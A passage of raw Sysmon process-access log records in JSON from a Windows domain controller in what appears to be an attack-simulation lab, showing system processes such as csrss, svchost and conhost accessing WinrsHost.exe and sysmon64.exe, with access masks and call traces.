11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2344,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.656\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00101A310300}\r\nTargetProcessId: 3596\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.656","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00101A310300}","TargetProcessId":"3596","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2345,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.656\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nSourceProcessId: 1368\r\nSourceThreadId: 1988\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-00102ACD0300}\r\nTargetProcessId: 3880\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.656","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","SourceProcessId":"1368","SourceThreadId":"1988","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-00102ACD0300}","TargetProcessId":"3880","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2346,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.656\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FED-5F2D-0000-00102F6C0300}\r\nTargetProcessId: 3736\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.656","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FED-5F2D-0000-00102F6C0300}","TargetProcessId":"3736","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2347,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.672\r\nSourceProcessGUID: {90617006-3FFC-5F2D-0000-001017D30300}\r\nSourceProcessId: 3736\r\nSourceThreadId: 3824\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-0010B6D20300}\r\nTargetProcessId: 3596\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.672","SourceProcessGUID":"{90617006-3FFC-5F2D-0000-001017D30300}","SourceProcessId":"3736","SourceThreadId":"3824","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-0010B6D20300}","TargetProcessId":"3596","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2348,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2349,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2350,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2351,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2352,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2353,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process 